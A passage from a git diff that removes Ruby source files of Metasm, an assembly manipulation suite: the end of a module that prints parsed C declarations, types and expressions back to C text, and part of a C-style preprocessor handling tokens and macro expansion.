s.kind_of? Union and - s.members.find { |sm| sm.type.untypedef == t } - } - end - } - - loop do - break if todo_rndr.empty? - todo_now = todo_deps.keys.find_all { |k| todo_deps[k].empty? } - if todo_now.empty? - r << '// dependency problem, this may not compile' - todo_now = todo_deps.keys - end - todo_now.sort_by { |k| k.name || '0' }.each { |k| - if k.kind_of? Variable and k.type.kind_of? Function and k.initializer - r << '' - r.concat todo_rndr.delete(k) - else - r.pop if r.last == '' - r.concat todo_rndr.delete(k) - r.last << ';' - end - todo_deps.delete k - } - todo_deps.each_key { |k| todo_deps[k] -= todo_now } - r << '' << '' << '' - end - - @statements.each { |s| - r << '' if not r.last.empty? - if s.kind_of? Block - r, dep = Statement.dump(s, self, r, dep) - else - r, dep = s.dump(self, r, dep) - end - } - - [r, dep] - end - end - class Declaration - def dump(scope, r=[''], dep=[]) - tr, dep = @var.dump_def(scope, [''], dep) - if @var.kind_of? Variable and @var.type.kind_of? Function and @var.initializer - r << '' - r.concat tr - else - r.pop if r.last == '' - r.concat tr - r.last << ';' - end - [r, dep] - end - - def to_s - dump(Block.new(nil))[0].join(' ') - end - end - module Attributes - def dump_attributes - if attributes - (attributes - DECLSPECS).map { |a| " __attribute__((#{a}))" }.join - else '' - end - end - def dump_attributes_pre - if attributes - (attributes & DECLSPECS).map { |a| "__#{a} " }.join - else '' - end - end - end - class Variable - def dump(scope, r=[''], dep=[]) - if name - dep |= [scope.symbol_ancestors[@name]] - r.last << @name - end - [r, dep] - end - def dump_def(scope, r=[''], dep=[], skiptype=false) - # int a=1, b=2; - r.last << dump_attributes_pre - if not skiptype - r.last << @storage.to_s << ' ' if storage - r, dep = @type.base.dump(scope, r, dep) - r.last << ' ' if name - end - r, dep = @type.dump_declarator([(name ? @name.dup : '') << dump_attributes], scope, r, dep) - - if initializer - r.last << ' = ' if not @type.kind_of?(Function) - r, dep = @type.dump_initializer(@initializer, scope, r, dep) - end - [r, dep] - end - - def to_s - dump(Block.new(nil))[0].join(' ') - end - end - class Type - def dump_initializer(init, scope, r=[''], dep=[]) - case init - when ::Numeric - r.last << init.to_s - [r, dep] - when ::Array - r.last << init.inspect - [r, dep] - else init.dump_inner(scope, r, dep) - end - end - - def dump_declarator(decl, scope, r=[''], dep=[]) - r.last << decl.shift - r.concat decl - [r, dep] - end - - def dump_def(*a) - dump(*a) - end - - def dump_cast(scope, r=[''], dep=[]) - r.last << '(' - r.last << dump_attributes_pre if not kind_of? TypeDef - r, dep = base.dump(scope, r, dep) - r, dep = dump_declarator([kind_of?(TypeDef) ? '' : dump_attributes], scope, r, dep) - r.last << ')' - [r, dep] - end - - def to_s - dump_cast(Block.new(nil))[0].join(' ') - end - end - class Pointer - def dump_declarator(decl, scope, r=[''], dep=[]) - d = decl[0] - decl[0] = '*' - decl[0] << ' ' << @qualifier.map { |q| q.to_s }.join(' ') << ' ' if qualifier - decl[0] << d - if @type.kind_of? Function or @type.kind_of? Array - decl[0] = '(' << decl[0] - decl.last << ')' - end - @type.dump_declarator(decl, scope, r, dep) - end - end - class Array - def dump_declarator(decl, scope, r=[''], dep=[]) - decl.last << '()' if decl.last.empty? - decl.last << '[' - decl, dep = CExpression.dump(@length, scope, decl, dep) if length - decl.last << ']' - @type.dump_declarator(decl, scope, r, dep) - end - def dump_initializer(init, scope, r=[''], dep=[]) - return super(init, scope, r, dep) if not init.kind_of? ::Array - r.last << '{ ' - showname = false - init.each_with_index { |v, i| - if not v - showname = true - next - end - r.last << ', ' if r.last[-2, 2] != '{ ' - rt = [''] - if showname - showname = false - rt << "[#{i}] = " - end - rt, dep = @type.dump_initializer(v, scope, rt, dep) - r.last << rt.shift - r.concat rt.map { |s| "\t" << s } - } - r.last << ' }' - [r, dep] - end - end - class Function - def dump_declarator(decl, scope, r=[''], dep=[]) - decl.last << '()' if decl.last.empty? - decl.last << '(' - if args - @args.each { |arg| - decl.last << ', ' if decl.last[-1] != ?( - decl, dep = arg.dump_def(scope, decl, dep) - } - if varargs - decl.last << ', ' if decl.last[-1] != ?( - decl.last << '...' - else - decl.last << 'void' if @args.empty? - end - end - decl.last << ')' - @type.dump_declarator(decl, scope, r, dep) - end - - def dump_initializer(init, scope, r=[''], dep=[]) - Statement.dump(init, scope, r << '', dep) - end - end - class BaseType - def dump(scope, r=[''], dep=[]) - r.last << @qualifier.map { |q| q.to_s << ' ' }.join if qualifier - r.last << @specifier.to_s << ' ' if specifier and @name != :ptr - r.last << case @name - when :longlong; 'long long' - when :longdouble; 'long double' - when :ptr; specifier == :unsigned ? 'uintptr_t' : 'intptr_t' - else @name.to_s - end - [r, dep] - end - end - class TypeDef - def dump(scope, r=[''], dep=[]) - r.last << @qualifier.map { |q| q.to_s << ' ' }.join if qualifier - r.last << @name - dep |= [scope.symbol_ancestors[@name]] - [r, dep] - end - - def dump_def(scope, r=[''], dep=[]) - r.last << 'typedef ' - r.last << dump_attributes_pre - r, dep = @type.base.dump(scope, r, dep) - r.last << ' ' - @type.dump_declarator([(name ? @name.dup : '') << dump_attributes], scope, r, dep) - end - - def dump_initializer(init, scope, r=[''], dep=[]) - @type.dump_initializer(init, scope, r, dep) - end - end - class Union - def dump(scope, r=[''], dep=[]) - if name - r.last << @qualifier.map { |q| q.to_s << ' ' }.join if qualifier - r.last << self.class.name.downcase[/(?:.*::)?(.*)/, 1] << ' ' << @name - dep |= [scope.struct_ancestors[@name]] - [r, dep] - else - dump_def(scope, r, dep) - end - end - - def dump_def(scope, r=[''], dep=[]) - r << '' - r.last << @qualifier.map { |q| q.to_s << ' ' }.join if qualifier - r.last << self.class.name.downcase[/(?:.*::)?(.*)/, 1] - r.last << ' ' << @name if name - if members - r.last << ' {' - @members.each_with_index { |m,i| - tr, dep = m.dump_def(scope, [''], dep) - tr.last << ':' << @bits[i].to_s if bits and @bits[i] - tr.last << ';' - r.concat tr.map { |s| "\t" << s } - } - r << '}' - end - r.last << dump_attributes - [r, dep] - end - - def dump_initializer(init, scope, r=[''], dep=[]) - return super(init, scope, r, dep) if not init.kind_of? ::Array - r.last << '{ ' - showname = false - @members.zip(init) { |m, i| - if not i - showname = true - next - end - r.last << ', ' if r.last[-2, 2] != '{ ' - rt = [''] - if showname - showname = false - rt << ".#{m.name} = " - end - rt, dep = m.type.dump_initializer(i, scope, rt, dep) - r.last << rt.shift - r.concat rt.map { |s| "\t" << s } - } - r.last << ' }' - [r, dep] - end - end - class Struct - def dump_def(scope, r=[''], dep=[]) - if pack - r, dep = super(scope, r, dep) - r.last << - if @pack == 1; (has_attribute('packed') or has_attribute_var('pack')) ? '' : " __attribute__((packed))" - else has_attribute_var('pack') ? '' : " __attribute__((pack(#@pack)))" - end - [r, dep] - else - super(scope, r, dep) - end - end - end - class Enum - def dump(scope, r=[''], dep=[]) - if name - r.last << @qualifier.map { |q| q.to_s << ' ' }.join if qualifier - r.last << 'enum ' << @name - dep |= [scope.struct_ancestors[@name]] - [r, dep] - else - dump_def(scope, r, dep) - end - end - - def dump_def(scope, r=[''], dep=[]) - r.last << @qualifier.map { |q| q.to_s << ' ' }.join if qualifier - r.last << 'enum' - r.last << ' ' << @name if name - if members - r.last << ' { ' - val = -1 - @members.sort_by { |m, v| v }.each { |m, v| - r.last << ', ' if r.last[-2, 2] != '{ ' - r.last << m - if v != (val += 1) - val = v - r.last << ' = ' << val.to_s - end - } - r.last << ' }' - end - [r, dep] - end - - def dump_initializer(init, scope, r=[''], dep=[]) - if members and ( - k = @members.index(init) or - (init.kind_of? CExpression and not init.op and k = @members.index(init.rexpr)) - ) - r.last << k - dep |= [scope.struct_ancestors[@name]] - [r, dep] - else super(init, scope, r, dep) - end - end - end - class If - def dump(scope, r=[''], dep=[]) - r.last << 'if (' - r, dep = CExpression.dump(@test, scope, r, dep) - r.last << ')' - r, dep = Statement.dump(@bthen, scope, r, dep) - if belse - @bthen.kind_of?(Block) ? (r.last << ' else') : (r << 'else') - if @belse.kind_of? If - # skip indent - r.last << ' ' - r, dep = @belse.dump(scope, r, dep) - else - r, dep = Statement.dump(@belse, scope, r, dep) - end - end - [r, dep] - end - end - class For - def dump(scope, r=[''], dep=[]) - r.last << 'for (' - if @init.kind_of? Block - scope = @init - skiptype = false - @init.symbol.each_value { |s| - r.last << ', ' if skiptype - r, dep = s.dump_def(scope, r, dep, skiptype) - skiptype = true - } - else - r, dep = CExpression.dump(@init, scope, r, dep) - end - r.last << ' ' if @init - r.last << ';' - r.last << ' ' if @test - r, dep = CExpression.dump(@test, scope, r, dep) - r.last << ' ' if @test - r.last << ';' - r.last << ' ' if @iter - r, dep = CExpression.dump(@iter, scope, r, dep) - r.last << ')' - Statement.dump(@body, scope, r, dep) - end - end - class While - def dump(scope, r=[''], dep=[]) - r.last << 'while (' - r, dep = CExpression.dump(@test, scope, r, dep) - r.last << ')' - Statement.dump(@body, scope, r, dep) - end - end - class DoWhile - def dump(scope, r=[''], dep=[]) - r.last << 'do' - r, dep = Statement.dump(@body, scope, r, dep) - @body.kind_of?(Block) ? (r.last << ' while (') : (r << 'while (') - r, dep = CExpression.dump(@test, scope, r, dep) - r.last << ');' - [r, dep] - end - end - class Switch - def dump(scope, r=[''], dep=[]) - r.last << 'switch (' - r, dep = CExpression.dump(@test, scope, r, dep) - r.last << ')' - r.last << ' {' if @body.kind_of? Block - tr, dep = @body.dump(scope, [''], dep) - r.concat tr.map { |s| Case.dump_indent(s, true) } - r << '}' if @body.kind_of? Block - [r, dep] - end - end - class Continue - def dump(scope, r=[''], dep=[]) - r.last << 'continue;' - [r, dep] - end - end - class Break - def dump(scope, r=[''], dep=[]) - r.last << 'break;' - [r, dep] - end - end - class Goto - def dump(scope, r=[''], dep=[]) - r.last << "goto #@target;" - [r, dep] - end - end - class Return - def dump(scope, r=[''], dep=[]) - r.last << 'return ' - r, dep = CExpression.dump(@value, scope, r, dep) - r.last.chop! if r.last[-1] == ?\ # the space character - r.last << ';' - [r, dep] - end - end - class Case - def dump(scope, r=[''], dep=[]) - case @expr - when 'default' - r.last << @expr - else - r.last << 'case ' - r, dep = CExpression.dump(@expr, scope, r, dep) - if exprup - r.last << ' ... ' - r, dep = CExpression.dump(@exprup, scope, r, dep) - end - end - r.last << ':' - dump_inner(scope, r, dep) - end - - def self.dump_indent(s, short=false) - case s - when /^(case|default)\W/; (short ? ' ' : "\t") << s - when /^\s+(case|default)\W/; "\t" << s - when /:$/; s - else "\t" << s - end - end - end - class Label - def dump(scope, r=[''], dep=[]) - r.last << @name << ':' - dump_inner(scope, r, dep) - end - def dump_inner(scope, r=[''], dep=[]) - if not @statement; [r, dep] - elsif @statement.kind_of? Block; Statement.dump(@statement, scope, r, dep) - else @statement.dump(scope, r << '', dep) - end - end - end - class Asm - def dump(scope, r=[''], dep=[]) - r.last << 'asm ' - r.last << 'volatile ' if @volatile - r.last << '(' - r.last << CExpression.string_inspect(@body) - if @output or @input or @clobber - if @output and @output != [] - # TODO - r << ': /* todo */' - elsif (@input and @input != []) or (@clobber and @clobber != []) - r.last << ' :' - end - end - if @input or @clobber - if @input and @input != [] - # TODO - r << ': /* todo */' - elsif @clobber and @clobber != [] - r.last << ' :' - end - end - if @clobber and @clobber != [] - r << (': ' << @clobber.map { |c| CExpression.string_inspect(c) }.join(', ')) - end - r.last << ');' - [r, dep] - end - end - class CExpression - def self.string_inspect(s) - # keep all ascii printable except \ and " - '"' + s.gsub(/[^ !\x23-\x5b\x5d-\x7e]/) { |o| '\\x' + o.unpack('H*').first } + '"' - end - - def self.dump(e, scope, r=[''], dep=[], brace = false) - if $DEBUG - brace = false - case e - when CExpression, Variable - r, dep = e.type.dump_cast(scope, r, dep) - end - r.last << '(' - end - r, dep = \ - case e - when ::Numeric; r.last << e.to_s ; [r, dep] - when ::String; r.last << string_inspect(e) ; [r, dep] - when CExpression; e.dump_inner(scope, r, dep, brace) - when Variable; e.dump(scope, r, dep) - when nil; [r, dep] - else raise 'wtf?' + e.inspect - end - if $DEBUG - r.last << ')' - end - [r, dep] - end - - def dump(scope, r=[''], dep=[]) - r, dep = dump_inner(scope, r, dep) - r.last << ';' - [r, dep] - end - - def dump_inner(scope, r=[''], dep=[], brace = false) - r.last << '(' if brace and @op != :'->' and @op != :'.' and @op != :'[]' and (@op or @rexpr.kind_of? CExpression) - if not @lexpr - if not @op - case @rexpr - when ::Numeric - if @rexpr < 0 - r.last << ?- - re = -@rexpr - else - re = @rexpr - end - if re >= 0x1000 - r.last << ("0x%X" % re) - else - r.last << re.to_s - end - if @type.kind_of? BaseType - r.last << 'U' if @type.specifier == :unsigned - case @type.name - when :longlong, :__int64; r.last << 'LL' - when :long, :longdouble; r.last << 'L' - when :float; r.last << 'F' - end - end - when ::String - r.last << 'L' if @type.kind_of? Pointer and @type.type.kind_of? BaseType and @type.type.name == :short - r.last << CExpression.string_inspect(@rexpr) - when CExpression # cast - r, dep = @type.dump_cast(scope, r, dep) - r, dep = CExpression.dump(@rexpr, scope, r, dep, true) - when Variable - r, dep = @rexpr.dump(scope, r, dep) - when Block - r.last << '(' - r, dep = Statement.dump(@rexpr, scope, r, dep) - r.last << ' )' - when Label - r.last << '&&' << @rexpr.name - else raise "wtf? #{inspect}" - end - else - r.last << @op.to_s - r, dep = CExpression.dump(@rexpr, scope, r, dep, (@rexpr.kind_of? C::CExpression and @rexpr.lexpr)) - end - elsif not @rexpr - r, dep = CExpression.dump(@lexpr, scope, r, dep) - r.last << @op.to_s - else - case @op - when :'->', :'.' - r, dep = CExpression.dump(@lexpr, scope, r, dep, true) - r.last << @op.to_s << @rexpr - when :'[]' - r, dep = CExpression.dump(@lexpr, scope, r, dep, true) - r.last << '[' - l = lexpr if lexpr.kind_of? Variable - l = lexpr.lexpr.type.untypedef.findmember(lexpr.rexpr) if lexpr.kind_of? CExpression and lexpr.op == :'.' - l = lexpr.lexpr.type.pointed.untypedef.findmember(lexpr.rexpr) if lexpr.kind_of? CExpression and lexpr.op == :'->' - # honor __attribute__((indexenum(enumname))) - if l and l.attributes and rexpr.kind_of? CExpression and not rexpr.op and rexpr.rexpr.kind_of? ::Integer and - n = l.has_attribute_var('indexenum') and enum = scope.struct_ancestors[n] and i = enum.members.index(rexpr.rexpr) - r.last << i - dep |= [enum] - else - r, dep = CExpression.dump(@rexpr, scope, r, dep) - end - r.last << ']' - when :funcall - r, dep = CExpression.dump(@lexpr, scope, r, dep, true) - r.last << '(' - @rexpr.each { |arg| - r.last << ', ' if r.last[-1] != ?( - r, dep = CExpression.dump(arg, scope, r, dep) - } - r.last << ')' - when :'?:' - r, dep = CExpression.dump(@lexpr, scope, r, dep, true) - r.last << ' ? ' - r, dep = CExpression.dump(@rexpr[0], scope, r, dep, true) - r.last << ' : ' - r, dep = CExpression.dump(@rexpr[1], scope, r, dep, true) - else - r, dep = CExpression.dump(@lexpr, scope, r, dep, (@lexpr.kind_of? CExpression and @lexpr.lexpr and @lexpr.op != @op)) - r.last << ' ' << @op.to_s << ' ' - r, dep = CExpression.dump(@rexpr, scope, r, dep, (@rexpr.kind_of? CExpression and @rexpr.lexpr and @rexpr.op != @op and @rexpr.op != :funcall)) - end - end - r.last << ')' if brace and @op != :'->' and @op != :'.' and @op != :'[]' and (@op or @rexpr.kind_of? CExpression) - [r, dep] - end - - def to_s - dump_inner(Block.new(nil))[0].join(' ') - end - end -end -end diff --git a/lib/metasm/metasm/preprocessor.rb b/lib/metasm/metasm/preprocessor.rb deleted file mode 100644 index 842f4ad8bf..0000000000 --- a/lib/metasm/metasm/preprocessor.rb +++ /dev/null @@ -1,1292 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' - - -module Metasm -# A source text preprocessor (C-like) -# defines the methods nexttok, readtok and unreadtok -# they spits out Tokens of type : -# :string for words (/[a-Z0-9$_]+/) -# :punct for punctuation (/[.,:*+-]/ etc), any unhandled character -# :space for space/tabs/comment/\r -# :eol for newline :space including at least one \n not escaped -# :quoted for quoted string, tok.raw includes delimiter and all content. tok.value holds the interpreted value (handles \x, \oct, \r etc). 1-line only -# or nil on end of stream -# \ at end of line discards a newline, otherwise returns a tok :punct with the \ -# preprocessor directives start with a :punct '#' just after an :eol (so you can have spaces before #), they take a whole line -# comments are C/C++ style (//...\n or /*...*/), returned as :eol (resp. :space) -class Preprocessor - # a token, as returned by the preprocessor - class Token - # the token type: :space, :eol, :quoted, :string, :punct, ... - attr_accessor :type - # the interpreted value of the token (Integer for an int, etc) - attr_accessor :value - # the raw string that gave this token - attr_accessor :raw - # a list of token this on is expanded from (Preprocessor macro expansion) - attr_accessor :expanded_from - - include Backtrace - - def initialize(backtrace) - @backtrace = backtrace - @value = nil - @raw = '' - end - - # used when doing 'raise tok, "foo"' - # raises a ParseError, adding backtrace information - def exception(msg='syntax error') - msgh = msg.to_s - if msg - msgh << ' near ' - expanded_from.to_a.each { |ef| msgh << ef.exception(nil).message << " expanded to \n\t" } - end - msgh << ((@raw.length > 35) ? (@raw[0..10] + '<...>' + @raw[-10..-1]).inspect : @raw.inspect) - msgh << " at " << backtrace_str - ParseError.new msgh - end - - def dup - n = self.class.new(backtrace) - n.type = @type - n.value = @value.kind_of?(String) ? @value.dup : @value - n.raw = @raw.dup - n.expanded_from = @expanded_from.dup if defined? @expanded_from - n - end - end - - # a preprocessor macro - class Macro - # the token holding the name used in the macro definition - attr_accessor :name - # array of tokens of formal arguments - attr_accessor :args - # array of tokens of macro body - attr_accessor :body - # bool - attr_accessor :varargs - - def initialize(name) - @name = name - @body = [] - end - - - # parses an argument list from the lexer or from a list of tokens - # modifies the list, returns an array of list of tokens/nil - # handles nesting - def self.parse_arglist(lexer, list=nil) - readtok = lambda { list ? list.shift : lexer.readtok_nopp } - unreadtok = lambda { |t| list ? (list.unshift(t) if t) : lexer.unreadtok(t) } - tok = nil - unreadlist = [] - unreadlist << tok while tok = readtok[] and tok.type == :space - if not tok or tok.type != :punct or tok.raw != '(' - unreadtok[tok] - unreadlist.reverse_each { |t| unreadtok[t] } - return nil - end - args = [] - # each argument is any token sequence - # if it includes an '(' then find the matching ')', whatever is inside (handle nesting) - # arg cannot include ',' in the top-level - # args are parsed with no macro expansion - # convert any space/eol sequence to a single space, strips them at begin/end of argument - loop do - arg = [] - nest = 0 - loop do - raise lexer, 'unterminated arg list' if not tok = readtok[] - case tok.type - when :eol, :space - next if arg.last and arg.last.type == :space - tok = tok.dup - tok.type = :space - tok.raw = ' ' - when :punct - case tok.raw - when ','; break if nest == 0 - when ')'; break if nest == 0 ; nest -= 1 - when '('; nest += 1 - end - end - arg << tok - end - arg.pop if arg.last and arg.last.type == :space - args << arg if not arg.empty? or args.length > 0 or tok.raw != ')' - break if tok.raw == ')' - end - args - end - - # applies a preprocessor macro - # parses arguments if needed - # macros are lazy - # fills tokens.expanded_from - # returns an array of tokens - def apply(lexer, name, args, list=nil) - expfrom = name.expanded_from.to_a + [name] - if args - # hargs is a hash argname.raw => array of tokens - hargs = @args.zip(args).inject({}) { |h, (af, ar)| h.update af.raw => ar } - - if not varargs - raise name, 'invalid argument count' if args.length != @args.length - else - raise name, 'invalid argument count' if args.length < @args.length - virg = name.dup # concat remaining args in __VA_ARGS__ - virg.type = :punct - virg.raw = ',' - va = args[@args.length..-1].map { |a| a + [virg.dup] }.flatten - va.pop - hargs['__VA_ARGS__'] = va - end - else - hargs = {} - end - - res = [] - b = @body.map { |t| t = t.dup ; t.expanded_from = expfrom ; t } - while t = b.shift - if a = hargs[t.raw] - # expand macros - a = a.dup - while at = a.shift - margs = nil - if at.type == :string and am = lexer.definition[at.raw] and not at.expanded_from.to_a.find { |ef| ef.raw == @name.raw } and - ((am.args and margs = Macro.parse_arglist(lexer, a)) or not am.args) - toks = am.apply(lexer, at, margs, a) - a = toks + a # reroll - else - res << at.dup if not res.last or res.last.type != :space or at.type != :space - end - end - elsif t.type == :punct and t.raw == '##' - # the '##' operator: concat the next token to the last in body - nil while t = b.shift and t.type == :space - res.pop while res.last and res.last.type == :space - if not a = hargs[t.raw] - a = [t] - end - if varargs and t.raw == '__VA_ARGS__' and res.last and res.last.type == :punct and res.last.raw == ',' - if args.length == @args.length # pop last , if no vararg passed # XXX poof(1, 2,) != poof(1, 2) - res.pop - else # allow merging with ',' without warning - res.concat a - end - else - a = a[1..-1] if a.first and a.first.type == :space - if not res.last or res.last.type != :string or not a.first or a.first.type != :string - puts name.exception("cannot merge token #{res.last.raw} with #{a.first ? a.first.raw : 'nil'}").message if not a.first or (a.first.raw != '.' and res.last.raw != '.') if $VERBOSE - res.concat a - else - res[-1] = res[-1].dup - res.last.raw << a.first.raw - res.concat a[1..-1] - end - end - elsif args and t.type == :punct and t.raw == '#' # map an arg to a qstring - nil while t = b.shift and t.type == :space - t.type = :quoted - t.value = hargs[t.raw].map { |aa| aa.raw }.join - t.value = t.value[1..-1] if t.value[0] == ?\ # delete leading space - t.raw = t.value.inspect - res << t - else - res << t - end - end - res - end - - # parses the argument list and the body from lexer - # converts # + # to ## in body - def parse_definition(lexer) - varg = nil - if tok = lexer.readtok_nopp and tok.type == :punct and tok.raw == '(' - @args = [] - loop do - nil while tok = lexer.readtok_nopp and tok.type == :space - # check '...' - if tok and tok.type == :punct and tok.raw == '.' - t1 = lexer.readtok_nopp - t2 = lexer.readtok_nopp - t3 = lexer.readtok_nopp - t3 = lexer.readtok_nopp while t3 and t3.type == :space - raise @name, 'booh' if not t1 or t1.type != :punct or t1.raw != '.' or - not t2 or t2.type != :punct or t2.raw != '.' or - not t3 or t3.type != :punct or t3.raw != ')' - @varargs = true - break - end - break if tok and tok.type == :punct and tok.raw == ')' and @args.empty? # allow empty list - raise @name, 'invalid arg definition' if not tok or tok.type != :string - @args << tok - nil while tok = lexer.readtok_nopp and tok.type == :space - # check '...' - if tok and tok.type == :punct and tok.raw == '.' - t1 = lexer.readtok_nopp - t2 = lexer.readtok_nopp - t3 = lexer.readtok_nopp - t3 = lexer.readtok_nopp while t3 and t3.type == :space - raise @name, 'booh' if not t1 or t1.type != :punct or t1.raw != '.' or - not t2 or t2.type != :punct or t2.raw != '.' or - not t3 or t3.type != :punct or t3.raw != ')' - @varargs = true - varg = @args.pop.raw - break - end - raise @name, 'invalid arg separator' if not tok or tok.type != :punct or (tok.raw != ')' and tok.raw != ',') - break if tok.raw == ')' - end - else lexer.unreadtok tok - end - - nil while tok = lexer.readtok_nopp and tok.type == :space - lexer.unreadtok tok - - while tok = lexer.readtok_nopp - tok = tok.dup - case tok.type - when :eol - lexer.unreadtok tok - break - when :space - next if @body.last and @body.last.type == :space - tok.raw = ' ' - when :string - tok.raw = '__VA_ARGS__' if varg and tok.raw == varg - when :punct - if tok.raw == '#' - ntok = lexer.readtok_nopp - if ntok and ntok.type == :punct and ntok.raw == '#' - tok.raw << '#' - else - lexer.unreadtok ntok - end - end - end - @body << tok - end - @body.pop if @body.last and @body.last.type == :space - - # check macro is correct - invalid_body = nil - if (@body[-1] and @body[-1].raw == '##') or (@body[0] and @body[0].raw == '##') - invalid_body ||= 'cannot have ## at begin or end of macro body' - end - if args - if @args.map { |a| a.raw }.uniq.length != @args.length - invalid_body ||= 'duplicate macro parameter' - end - @body.each_with_index { |tok_, i| - if tok_.type == :punct and tok_.raw == '#' - a = @body[i+1] - a = @body[i+2] if not a or a.type == :space - if not a.type == :string or (not @args.find { |aa| aa.raw == a.raw } and (not varargs or a.raw != '__VA_ARGS__')) - invalid_body ||= 'cannot have # followed by non-argument' - end - end - } - end - if invalid_body - puts "W: #{lexer.filename}:#{lexer.lineno}, in #{@name.raw}: #{invalid_body}" if $VERBOSE - false - else - true - end - end - - def dump(comment = true) - str = '' - str << "\n// from #{@name.backtrace[-2, 2] * ':'}\n" if comment - str << "#define #{@name.raw}" - if args - str << '(' << (@args.map { |t| t.raw } + (varargs ? ['...'] : [])).join(', ') << ')' - end - str << ' ' << @body.map { |t| t.raw }.join - end - end - - # special object, handles __FILE__ __LINE__ __COUNTER__ __DATE__ __TIME__ macros - class SpecialMacro - def args ; end - def body ; [@name] end - - attr_accessor :name - def initialize(raw) - @name = Token.new(nil) - @name.type = :string - @name.raw = raw - end - - def apply(lexer, name, emptyarglist, toklist=nil) - tok = @name.dup - tok.expanded_from = name.expanded_from.to_a + [name] - case @name.raw - when '__FILE__', '__DATE__', '__TIME__' # returns a :quoted - tok.type = :quoted - tok.value = \ - case @name.raw - when '__FILE__' - name = name.expanded_from.first if name.expanded_from - name.backtrace.to_a[-2].to_s - when '__DATE__'; Time.now.strftime('%b %e %Y') - when '__TIME__'; Time.now.strftime('%H:%M:%S') - end - tok.raw = tok.value.inspect - when '__LINE__', '__COUNTER__' # returns a :string - tok.type = :string - case @name.raw - when '__LINE__' - name = name.expanded_from.first if name.expanded_from - tok.value = name.backtrace.to_a[-1] - when '__COUNTER__' - tok.value = @counter ||= 0 - @counter += 1 - end - tok.raw = tok.value.to_s - else raise name, 'internal error' - end - [tok] - end - end - - # the raw string we're reading - attr_accessor :text, :pos - # the backtrace information for current file - attr_accessor :filename, :lineno - # the unreadtok queue - attr_accessor :queue - # the backtrace (array of previous [filename, lineno, text, pos] that #included us) - attr_accessor :backtrace - # a hash of macro definitions: macro name => [macro def tok, [macro args tok], [macro body toks]] - attr_accessor :definition - # array of directories to search for #included <files> - attr_accessor :include_search_path - # a Proc called for unhandled #pragma occurences - # takes the pragma 1st tok as arg, must unread the final :eol, should fallback to the previous callback - attr_accessor :pragma_callback - # hash filename => file content - attr_accessor :hooked_include - attr_accessor :warn_redefinition - attr_accessor :may_preprocess - - # global default search directory for #included <files> - @@include_search_path = ['/usr/include'] - def self.include_search_path ; @@include_search_path end - def self.include_search_path=(np) @@include_search_path=np end - - def initialize(text='') - @backtrace = [] - @definition = %w[__FILE__ __LINE__ __COUNTER__ __DATE__ __TIME__].inject({}) { |h, n| h.update n => SpecialMacro.new(n) } - @include_search_path = @@include_search_path.dup - # stack of :accept/:discard/:discard_all/:testing, represents the current nesting of #if..#endif - @ifelse_nesting = [] - @warn_redefinition = true - @hooked_include = {} - @may_preprocess = false - @pragma_once = {} - @pragma_callback = lambda { |otok| - tok = otok - str = tok.raw.dup - str << tok.raw while tok = readtok and tok.type != :eol - unreadtok tok - puts otok.exception("unhandled pragma #{str.inspect}").message if $VERBOSE - } - feed!(text) - define '__METASM__', VERSION - end - - def exception(msg='syntax error') - backtrace_str = Backtrace.backtrace_str([@filename, @lineno] + @backtrace.map { |f, l, *a| [f, l] }.flatten) - ParseError.new "at #{backtrace_str}: #{msg}" - end - - # returns the preprocessed content - def dump - ret = '' - neol = 0 - while not eos? - t = readtok - case t.type - when :space; ret << ' ' - when :eol; ret << "\n" if (neol += 1) <= 2 - when :quoted; neol = 0 ; ret << t.raw # keep quoted style - else neol = 0 ; ret << (t.value || t.raw).to_s - end - end - ret - end - - attr_accessor :traced_macros - # preprocess text, and retrieve all macros defined in #included <files> and used in the text - # returns a C source-like string - def self.factorize(text, comment=false) - p = new(text) - p.traced_macros = [] - p.readtok while not p.eos? - p.dump_macros(p.traced_macros, comment) - end - - # dumps the definition of the macros whose name is in the list + their dependencies - # returns one big C-style source string - def dump_macros(list, comment = true) - depend = {} - # build dependency graph (we can output macros in any order, but it's more human-readable) - walk = lambda { |mname| - depend[mname] ||= [] - @definition[mname].body.each { |t| - name = t.raw - if @definition[name] - depend[mname] << name - if not depend[name] - depend[name] = [] - walk[name] - end - end - } - } - list.each { |mname| walk[mname] } - - res = [] - while not depend.empty? - todo_now = depend.keys.find_all { |k| (depend[k] - [k]).empty? } - if todo_now.empty? - dep_cycle = lambda { |ary| - deps = depend[ary.last] - if deps.include? ary.first; ary - elsif (deps-ary).find { |d| deps = dep_cycle[ary + [d]] }; deps - end - } - if not depend.find { |k, dep| todo_now = dep_cycle[[k]] } - todo_now = depend.keys - end - end - todo_now.sort.each { |k| - res << @definition[k].dump(comment) if @definition[k].kind_of? Macro - depend.delete k - } - depend.each_key { |k| depend[k] -= todo_now } - end - res.join("\n") - end - - # starts a new lexer, with the specified initial filename/line number (for backtraces) - def feed(text, filename='unknown', lineno=1) - raise self, 'cannot start new text, did not finish current source' if not eos? - feed!(text, filename, lineno) - end - - # starts a new lexer, with the specified initial filename/line number (for backtraces) - # discards old text/whatever - def feed!(text, filename='unknown', lineno=1) - raise ArgumentError, 'need something to parse!' if not text - @text = text - if not @may_preprocess and (@text =~ /^\s*(#|\?\?=)/ or (not @definition.empty? and - @text =~ /#{@definition.keys.map { |k| Regexp.escape(k) }.join('|')}/)) - @may_preprocess = true - end - # @filename[-1] used in trace_macros to distinguish generic/specific files - @filename = "\"#{filename}\"" - @lineno = lineno - @pos = 0 - @queue = [] - @backtrace = [] - self - end - - # calls #feed on the content of the file - def feed_file(filename) - feed(File.read(filename), filename) - end - - Trigraph = { ?= => ?#, ?) => ?], ?! => ?|, - ?( => ?[, ?' => ?^, ?> => ?}, - ?/ => ?\\,?< => ?{, ?- => ?~ } - - # reads one character from self.text - # updates self.lineno - # handles \-continued lines - def getchar - @ungetcharpos = @pos - @ungetcharlineno = @lineno - c = @text[@pos] - @pos += 1 - - # check trigraph - #if c == ?? and @text[@pos] == ?? and Trigraph[@text[@pos+1]] - # puts "can i has trigraf plox ??#{c.chr} (#@filename:#@lineno)" if $VERBOSE - # c = Trigraph[@text[@pos+1]] - # @pos += 2 - #end - - # check line continuation - # TODO portability - if c == ?\\ and (@text[@pos] == ?\n or (@text[@pos] == ?\r and @text[@pos+1] == ?\n)) - @lineno += 1 - @pos += 1 if @text[@pos] == ?\r - @pos += 1 - return getchar - end - - if c == ?\r and @text[@pos] == ?\n - @pos += 1 - c = ?\n - end - - # update lineno - if c == ?\n - @lineno += 1 - end - - 